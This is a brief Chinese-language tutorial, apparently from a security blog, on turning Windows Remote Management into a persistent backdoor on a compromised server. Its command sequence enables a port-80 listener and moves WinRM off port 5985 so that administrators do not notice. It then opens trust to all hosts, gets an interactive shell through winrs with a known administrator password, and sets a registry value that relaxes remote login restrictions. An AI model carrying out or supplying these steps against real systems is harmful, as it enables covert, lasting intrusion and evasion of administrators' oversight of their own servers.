WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
PS:WIN7或2008需要手动开户WINRM
默认端口:
5985/tcp (HTTP)
5986/tcp (HTTPS)
开启命令:
开启后可通过以下命令查询:
netsh http show servicestate
此时如果机器上开启了5985端口,说明服务已经成功启动。
只需执行一条命令:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
这条命令将会开启80端口的监听器,如若服务器上存在web服务,也不影响这条命令的执行。
同时可以通过下述命令来查看所开启的监听器:
winrm e winrm/config/listener
而此时5985还是开启的,如果不想让管理员发现该端口,可以只设置80端口的监听器,而如果是2012服务器默认开启的,则无需进行如下步骤:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
至此服务器就配置完成。
# 启动winrm winrm quickconfig ‐q # 设置信任主机地址 winrm set winrm/config/Client @{TrustedHosts="*"}
本机也需开启winrm和添加信任地址,如上是cmd的添加方式
powershell如下
set-item wsman:\localhost\Client\TrustedHosts -value 192.168.1.2
后续利用只需要链接即可
winrs ‐r:http://www.target.com ‐u:administrator ‐p:Password [命令]
如遇类似错误,只因chcp不同导致,执行chcp 437即可解决
替换上述图中命令的whoami为cmd即可获取交互shell
应用环境可为内网,且不出网的情况下所创建的持续化后门方式。
利用条件:
1. 只允许administrator用户登录
如需不限制用户登录得修改注册表位置
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2. 目标内网有80端口开放出来
3. 须知登录用户的明文密码